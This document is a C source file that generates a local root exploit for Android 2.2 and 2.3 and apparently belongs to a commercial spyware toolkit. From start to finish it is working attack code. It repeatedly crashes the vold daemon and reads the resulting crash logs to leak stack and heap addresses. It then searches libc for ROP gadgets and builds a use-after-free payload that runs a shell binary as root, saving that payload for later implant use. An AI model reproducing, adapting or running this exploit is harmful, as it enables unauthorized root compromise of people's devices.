vector-exploit/src/ht-android-shellcode/shared_object_eop/jni/exp_gen.c

// Local to root exploit generator for Android 2.2 and 2.3 based on zergRush

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <errno.h>
#include <fcntl.h>

#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/un.h>

#include <dirent.h>

#include <dlfcn.h>

#include <sys/system_properties.h>
#include "sockets.h"
#include "android_filesystem_config.h"


static pid_t logcat_pid = 0;
static char *bsh = "/data/local/tmp/test";
static char *crashlog = "/data/local/tmp/crashlog";
static char *vold = "/system/bin/vold";

uint32_t heap_addr;
uint32_t libc_base;
uint32_t heap_base_addr;
uint32_t heap_offset;
uint32_t r9 = 0, r10 = 0, fp = 0;
uint32_t stack_addr = 0x41414141;
uint32_t system_ptr = 0;
uint32_t stack_pivot = 0x41414141;
uint32_t pop_r0 = 0x41414141;
uint32_t jumpsz = 0;
uint32_t gadget_jumpsz = 108;
uint32_t buffsz = 0;
uint32_t allbuffsz[] = {16,24,0};
uint8_t adjust = 0;
uint8_t samsung = 0;
char payload[255];

extern char **environ;

static void die(const char *msg)
{
  perror(msg);
  exit(errno);
}


static void *find_symbol(char *sym)
{
  void *r = NULL;
  void *dlh = dlopen("/system/libc/libc.so", RTLD_NOW);

  if (!dlh)
    die("[-] dlopen");
  if ((r = (void *)dlsym(dlh, sym)) == NULL)
    die("[-] dlsym");
  dlclose(dlh);
  return r;
}


static int bad_byte(uint8_t byte)
{
  switch(byte) {
  case 0x20:
  case 0x22:
  case 0x5c:
  case 0x00:
    return 1;
    break;
  default:
    break;
  }
  return 0;
}


// Calculate the heap address containing the command object to be replaced

static void heap_oracle() {

  // Depending on device model and OS Version, heap address could be found in R9, R10 or FP

  char ok = 1;

  if (r9 > heap_base_addr && r9 < (heap_base_addr+0x10000))
    heap_addr = r9 + 0x70;
  else if (r10 > heap_base_addr && r10 < (heap_base_addr+0x10000))
    heap_addr = r10 + 0x70;
  else if (fp > heap_base_addr && fp < (heap_base_addr+0x10000))
    heap_addr = fp + 0x70;
  else
    ok = 0;

  while(bad_byte(heap_addr&0xff)) heap_addr += 0x20;
  if(ok)
    printf("[+] Heap address retrieved correctly ! 0x%08x\n", heap_addr);
  else {
    printf("[-] No usefull address found, using default offset ...\n");
    heap_addr = heap_base_addr + heap_offset;
  }
}


static int check_addr(uint32_t addr)
{
  
  // Check if address contains one of the forbidden bytes

  int i = 0;

  for(i=0; i<32; i+=8)
    if(bad_byte((addr>>i) & 0xff))
      return -1;

  return 0;
}


// Send the payload to vold
static int send_payload(int n)
{
  int sock = -1;
  int sent = 0;

  if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)
    die("[-] No socket connection with vold process!\n");

  printf("[*] Exploiting: sending %d bytes...\n", n);
  // Exploiting...
  if ((sent = write(sock, payload, n+1)) < 0)
    die("[-] Unable to send data!\n");
  
  sleep(3);
  close(sock);


  return sent;
}


// Payload generation
int update_payload()
{
  int sock = -1, n = 0, i;
  char s_stack_addr[5], s_stack_pivot_addr[5], s_pop_r0_addr[5], s_system[5], s_bsh_addr[5], s_heap_addr[5];
  uint32_t bsh_addr;
  char padding[128];
  int32_t padding_sz = (jumpsz == 0 ? 0 : gadget_jumpsz - jumpsz);
  int ii;

  if(samsung) {
    printf("[*] Sleeping a bit (~40s)...\n");
    sleep(40);
    printf("[*] Waking !\n");
  }


  // Adjusting the shellcode with the correct padding.
  // We can do this analyzing the stack layout from adb causing a crash
  memset(padding, 0, 128);
  memset(payload, 0, sizeof(payload));
  strcpy(padding, "YYYYYYYYYYYY");
  if(padding_sz > 0) {
    memset(padding+12, 'X', padding_sz);
    printf("[*] Adjusting padding: %d byte added!\n", padding_sz);
  }
  else if(padding_sz < 0) {
    memset(padding, 0, 128);
    memset(padding, 'X', 12+padding_sz);
  }

  /*
   * stack_addr:  Stack placeholder containing stack_pivot
   * stack_pivot: Pointer to the ROP chain
   * pop_r0:      Pointer to pop r0 instruction
   * system_ptr:  Pointer to libc system function
   * heap_addr:   Pointer to the heap location containing the object to be replaced causing the user-after-free
   */
  
  sprintf(s_stack_addr, "%c%c%c%c", stack_addr & 0xff, (stack_addr>>8)&0xff, (stack_addr>>16)&0xff, (stack_addr>>24)&0xff);
  sprintf(s_stack_pivot_addr, "%c%c%c%c", stack_pivot & 0xff, (stack_pivot>>8)&0xff, (stack_pivot>>16)&0xff, (stack_pivot>>24)&0xff);
  sprintf(s_pop_r0_addr, "%c%c%c%c", pop_r0 & 0xff, (pop_r0>>8)&0xff, (pop_r0>>16)&0xff, (pop_r0>>24)&0xff);
  sprintf(s_system, "%c%c%c%c", system_ptr & 0xff, (system_ptr>>8)&0xff, (system_ptr>>16)&0xff, (system_ptr>>24)&0xff);
  sprintf(s_heap_addr, "%c%c%c%c", heap_addr & 0xff, (heap_addr>>8)&0xff, (heap_addr>>16)&0xff, (heap_addr>>24)&0xff);

  if(adjust)
    strcpy(payload, "ASDFASDF");
  else
    strcpy(payload, "ASDF");
  strcat(payload, " XX ");
  strcat(payload, s_stack_pivot_addr);
  for(i=3; i < buffsz+1; i++)
    strcat(payload, " XXXX");
  strcat(payload, " ");
  strcat(payload, s_heap_addr);

  n = strlen(payload);
  bsh_addr = stack_addr + n + 1 + 8 + 8 + 8 + padding_sz + 12 + 4;

  if(check_addr(bsh_addr) == -1) {
    printf("[-] bsh_addr contains forbidden bytes!\n");
    exit(-1);
  }

  sprintf(s_bsh_addr, "%c%c%c%c", bsh_addr & 0xff, (bsh_addr>>8)&0xff, (bsh_addr>>16)&0xff, (bsh_addr>>24)&0xff);

  n += sprintf(payload+n+1, "%s%s OVER%s%s%s%sXXXX%s%c", s_stack_addr, s_heap_addr, padding, s_pop_r0_addr, s_bsh_addr, s_system, bsh, 0);
  
  return n;
}


static int find_rop_gadgets()
{
  // Check ROP gadget in the libc library

  /*
   * add sp, #108 -> b01b
   * pop{r4, r5, r6, r7, pc} -> bdf0
   *
   * pop{r0, pc} -> bd01
   */

  int fd;
  char r[2], d[2];
  int n = 2;
  int bad = 0;

  if((fd=open("/system/lib/libc.so", O_RDONLY)) == -1)
    die("[-] open");

  lseek(fd, 0x10000, SEEK_SET);

  while(n == 2 && (stack_pivot == 0x41414141 || pop_r0 == 0x41414141)) {
    n = read(fd, r, 2);
    switch(r[0]) {
    case '\x1b':
      if(stack_pivot == 0x41414141) {
	if(r[1] == '\xb0') {
	  n = read(fd, d, 2);
	  if(d[0] == '\xf0' && d[1] == '\xbd') {
	    stack_pivot = libc_base + lseek(fd, 0, SEEK_CUR) - 4 + 1;
	    if(check_addr(stack_pivot) == -1)
	      stack_pivot = 0x41414141;
	  }
	}
      }
      break;
    case '\x01':
      if(pop_r0 == 0x41414141) {
	if(r[1] == '\xbd') {
	  pop_r0 = libc_base + lseek(fd, 0, SEEK_CUR) - 2 + 1;
	  if(check_addr(pop_r0) == -1)
	    pop_r0 = 0x41414141;
	}
      }
      break;
    default:
      break;
    }
  }

  if (stack_pivot == 0x41414141) {
    printf("[-] Unable to retrieve a stack_pivot address!\n");
    bad = -1;
  }

  if (pop_r0 == 0x41414141) {
    printf("[-] Unable to retrieve a pop_r0 address !\n");
    bad = -1;
  }

  if(bad == -1)
    exit(-1);

  return 0;
}


static uint32_t checkcrash()
{
  uint32_t fault_addr = 0;
  char buf[1024], *ptr = NULL;
  FILE *f = NULL;
  long pos = 0;
  int ret=0;

  system("/system/bin/logcat -c");
  unlink(crashlog);

  if ((logcat_pid = fork()) == 0) {
    char *a[] = {"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL};
    execve(*a, a, environ);
    exit(1);
  }
  sleep(3);

  if (do_fault() < 0)
    die("[-] Unable to crash vold!\n");

  /* Give logcat time to write to file
   */
  sleep(3);
  if ((f = fopen(crashlog, "r")) == NULL)
    die("[-] Unable to open log file!\n");
  fseek(f, pos, SEEK_SET);
  do {
    memset(buf, 0, sizeof(buf));
    if (!fgets(buf, sizeof(buf), f))
      break;
    if ((ptr = strstr(buf, "  sp ")) != NULL)
      ret = 1;
    if ((ptr = strstr(buf, "  r9 ")) != NULL) {
      ptr += 5;
      r9 = (uint32_t)strtoul(ptr, NULL, 16);
    }
    if ((ptr = strstr(buf, "  10 ")) != NULL) {
      ptr += 5;
      r10 = (uint32_t)strtoul(ptr, NULL, 16);
    }
    if ((ptr = strstr(buf, "  fp ")) != NULL) {
      ptr += 5;
      fp = (uint32_t)strtoul(ptr, NULL, 16);
    }
  } while (!feof(f));
  pos = ftell(f);
  fclose(f);

  return ret;
}


// Exploit libsysutils FrameworkListener::dispatchCommand method
int do_fault()
{
  return send_payload(update_payload());
}


static uint32_t check_libc_base()
{
  char buf[1024], *ptr = NULL;
  FILE *f = NULL;
  long pos = 0;
  int ret=0;
  uint32_t spotted_base = 0;

  if ((f = fopen(crashlog, "r")) == NULL)
    die("[-] Unable to open log file!\n");
  fseek(f, pos, SEEK_SET);
  do {
    memset(buf, 0, sizeof(buf));
    if (!fgets(buf, sizeof(buf), f))
      break;
    if ((ptr = strstr(buf, "  /system/lib/libc.so")) != NULL) {
      ptr -= 8;
      spotted_base = strtoul(ptr, NULL, 16) & 0xfff00000;
      if(spotted_base && spotted_base != libc_base) {
	libc_base = spotted_base;
	ret = 1;
      }
    }
  } while (!feof(f) && !spotted_base);
  pos = ftell(f);
  fclose(f);

  return ret;
}


static uint32_t find_stack_addr()
{
  uint32_t fault_addr = 0;
  char buf[1024], *ptr = NULL;
  FILE *f = NULL;
  long pos = 0;
  uint32_t sp=0, over=0;

  system("/system/bin/logcat -c");
  unlink(crashlog);

  if ((logcat_pid = fork()) == 0) {
    char *a[] = {"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL};
    execve(*a, a, environ);
    exit(1);
  }
  sleep(3);

  if (do_fault() < 0)
    die("[-] Unable to crash vold process!\n");
  /* Give logcat time to write to file
   */
  sleep(3);
  if ((f = fopen(crashlog, "r")) == NULL)
    die("[-] Unable to open log file\n");
  fseek(f, pos, SEEK_SET);
  do {
    memset(buf, 0, sizeof(buf));
    if (!fgets(buf, sizeof(buf), f))
      break;
    if ((ptr = strstr(buf, "  46445341")) != NULL && stack_addr == 0x41414141) {
      ptr -= 8;
      stack_addr = (uint32_t)strtoul(ptr, NULL, 16);
    }
    if ((ptr = strstr(buf, "  5245564f")) != NULL && !over) {
      ptr -= 8;
      over = (uint32_t)strtoul(ptr, NULL, 16);
    }
    if ((ptr = strstr(buf, "  sp ")) != NULL && !sp) {
      ptr += 5;
      sp = (uint32_t)strtoul(ptr, NULL, 16);
    }
    if ((ptr = strstr(buf, "  r9 ")) != NULL) {
      ptr += 5;
      r9 = (uint32_t)strtoul(ptr, NULL, 16);
    }
    if ((ptr = strstr(buf, "  10 ")) != NULL) {
      ptr += 5;
      r10 = (uint32_t)strtoul(ptr, NULL, 16);
    }
    if ((ptr = strstr(buf, "  fp ")) != NULL) {
      ptr += 5;
      fp = (uint32_t)strtoul(ptr, NULL, 16);
    }

  } while (!feof(f));
  pos = ftell(f);
  fclose(f);

  if(over && sp)
    jumpsz = over - sp;

  return stack_addr;
}

void print_payload(int n) 
{
  char p[1024];
  char b[5];
  int i;
  FILE *fp;

  memset(p, 0, sizeof(p));
  strcpy(p, "\"");
  for(i=0;i<n;i++) {
    memset(b, 0, sizeof(b));
    sprintf(b,"\\x%02x",payload[i]);
    strcat(p,b);
  }
  strcat(p, "\"");

  if(!(fp = fopen("/data/local/tmp/install.h", "w+"))) {
    printf("Unable to write the payload!\n\n");
    exit(-1);
  }

  fprintf(fp, "char payload[] = %s;\n\n", p);
  fprintf(fp, "static char *bsh = \"%s\";\n", bsh);
  fprintf(fp, "uint32_t final_stack_pivot = 0x%08x;\n", stack_pivot);
  fprintf(fp, "uint32_t final_pop_r0 = 0x%08x;\n", pop_r0);

}


int main(int argc, char **argv, char **env)
{
  uint32_t i = 0, ok = 0;
  struct stat st;
  char version_release[1024];
  int tries=0;
  int payload_size=0;

  stat(vold, &st);
  heap_base_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000;

  __system_property_get("ro.build.version.release", version_release);

  if (strstr(version_release, "2.2")) {
    heap_offset = 0x108;
    printf("[+] Found a Froyo ! 0x%08x\n", heap_offset);
  } else if (strstr(version_release, "2.3")) {
    heap_offset = 0x118;
    printf("[+] Found a GingerBread ! 0x%08x\n", heap_offset);
  } else {
    printf("[-] Not a 2.2/2.3 Android ...\n");
    exit(-1);
  }


  heap_addr = 0xffffff;

  __system_property_get("ro.build.fingerprint", version_release);
  if(!strncmp(version_release, "samsung", 7)) {
    printf("[+] Found a Samsung, running Samsung mode\n");
    samsung = 1;
  }


  system_ptr = (uint32_t) find_symbol("system");
  libc_base = system_ptr & 0xfff00000;

  if (check_addr(system_ptr) == -1) {
    printf("[-] system_ptr contains forbidden bytes!\n");
    exit(-1);
  }

  tries = 0;
  printf("[*] Step 1: causing the first vold crash...\n");
  while(buffsz=allbuffsz[tries]) {
    if(checkcrash()) {
      printf("[+] Vold crashed using %d arguments!\n", buffsz);
      break;
    }
    tries++;
  }

  if(!buffsz) {
    printf("[-] Unable to crash vold process. Fixed vold???\n");
    exit(-1);
  }

  for (tries = 0; tries < 2; tries++) {
    heap_oracle();
    printf("\n[*] Step 2: causing the second vold crash\n");
    find_stack_addr();

    if (stack_addr != 0x41414141 && jumpsz) {
      printf("[+] stack_addr found: 0x%08x, padding: 0x%04x\n", stack_addr, jumpsz);
      break;
    }
  }

  if (stack_addr == 0x41414141 || !jumpsz) {
    printf("[-] Unable to generate stack_addr!\n\n");
    exit(-1);
  }

  if (check_addr(stack_addr) == -1) {
    if(bad_byte(stack_addr & 0xff)) {
      stack_addr += 4;
      adjust = 4;
      if (check_addr(stack_addr) == -1) {
	printf("[-] stack_addr contains forbidden bytes!\n");
	exit(-1);
      }
    }
    else {
      printf("[-] stack_addr contains forbidden bytes!\n");
      exit(-1);
    }
  }

  if (jumpsz > 108 + 12) {
    printf("[-] Too much padding is needed!\n");
    exit(-1);
  }

  if(check_libc_base()) {
    system_ptr = libc_base + (system_ptr & 0x000fffff);
    printf("[*] Pointer to system function found at 0x%08x ...\n", system_ptr);

    if (check_addr(system_ptr) == -1) {
      printf("[-] Pointer to system function contains forbidden bytes!\n");
      exit(-1);
    }
  }

  kill(logcat_pid, SIGKILL);
  unlink(crashlog);

  printf("\n[*] Researching ROP gadgets ...\n");
  find_rop_gadgets();
  printf("[+] first gadget found at 0x%08x, second gadget found at 0x%08x\n", stack_pivot, pop_r0);

  payload_size = update_payload();
  
  printf("\n[*] Payload generated: %d bytes\n", payload_size);
  print_payload(payload_size);

  return 0;
}
